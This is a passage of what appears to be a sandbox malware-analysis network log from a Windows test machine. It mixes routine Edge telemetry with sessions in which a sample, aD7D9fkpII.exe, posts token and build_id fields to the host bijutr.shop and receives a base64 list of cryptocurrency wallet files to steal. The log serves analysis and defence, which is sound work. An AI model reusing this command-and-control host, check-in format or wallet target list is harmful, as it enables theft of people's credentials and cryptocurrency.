2024-12-27 07:20:49 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 53 30 48 44 54 52 31 56 4b 46 33 37 59 55 41 53 32 56 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 42 53 30 48 44 54 52 31 56 4b 46 33 37 59 55 41 53 32 56 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 42 53 30 48 44 54 52 31 56 4b 46 33 37 59 55 41 53 32 56 41 0d 0a 43 6f 6e 74 Data Ascii: ------BS0HDTR1VKF37YUAS2VAContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------BS0HDTR1VKF37YUAS2VAContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------BS0HDTR1VKF37YUAS2VACont
2024-12-27 07:20:49 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:49 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:49 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:49 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:49 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:49 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:49 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:49 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:49 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49862	20.110.205.119	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:49 UTC	1175	OUT	GET /c.gif?rnd=1735284048285&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5f47d732c1f847c1915dbc05f2d1c1c0&activityId=5f47d732c1f847c1915dbc05f2d1c1c0&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E; _EDGE_S=F=1&SID=2CAA7B291DCA69C1390F6E4B1C9F68D2; _EDGE_V=1
2024-12-27 07:20:49 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1735284048285&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5f47d732c1f847c1915dbc05f2d1c1c0&activityId=5f47d732c1f847c1915dbc05f2d1c1c0&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=88BD196131DF4F6484A57ED6AE89D619&RedC=c.msn.com&MXFR=2BA4C89BEAD6644B32BDDDF9EBCF652E Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E; domain=.msn.com; expires=Wed, 21-Jan-2026 07:20:49 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Fri, 27 Dec 2024 07:20:48 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49873	18.238.49.124	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:49 UTC	925	OUT	GET /b?rn=1735284048287&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2BA4C89BEAD6644B32BDDDF9EBCF652E&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-27 07:20:49 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Fri, 27 Dec 2024 07:20:49 GMT Location: /b2?rn=1735284048287&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2BA4C89BEAD6644B32BDDDF9EBCF652E&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=14Ebfe52359236eb26440091735284049; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=14Ebfe52359236eb26440091735284049; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 2260f0d6b734b81aaef20a0b1c178318.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: SxPPTFo3FCLZJ9Fk2jEiv0r2pmWFQy9rKErAXuibEjg7T1i5Zzg06Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49913	18.238.49.124	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:51 UTC	1012	OUT	GET /b2?rn=1735284048287&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2BA4C89BEAD6644B32BDDDF9EBCF652E&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=14Ebfe52359236eb26440091735284049; XID=14Ebfe52359236eb26440091735284049
2024-12-27 07:20:51 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Fri, 27 Dec 2024 07:20:51 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 876bec0443fc8f764d98d36e203f84e0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: PWEN7rW7d_iwYd1_FYzeoyYZemubwZDpqFoHv_pgreq3Ef9eNX0dXA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49911	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:51 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----PH4EU37QIEUAAASR9H4E User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:51 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 50 48 34 45 55 33 37 51 49 45 55 41 41 41 53 52 39 48 34 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 50 48 34 45 55 33 37 51 49 45 55 41 41 41 53 52 39 48 34 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 50 48 34 45 55 33 37 51 49 45 55 41 41 41 53 52 39 48 34 45 0d 0a 43 6f 6e 74 Data Ascii: ------PH4EU37QIEUAAASR9H4EContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------PH4EU37QIEUAAASR9H4EContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------PH4EU37QIEUAAASR9H4ECont
2024-12-27 07:20:52 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:52 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49910	52.168.117.170	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:51 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735284048283&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3868 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E; _EDGE_S=F=1&SID=2CAA7B291DCA69C1390F6E4B1C9F68D2; _EDGE_V=1
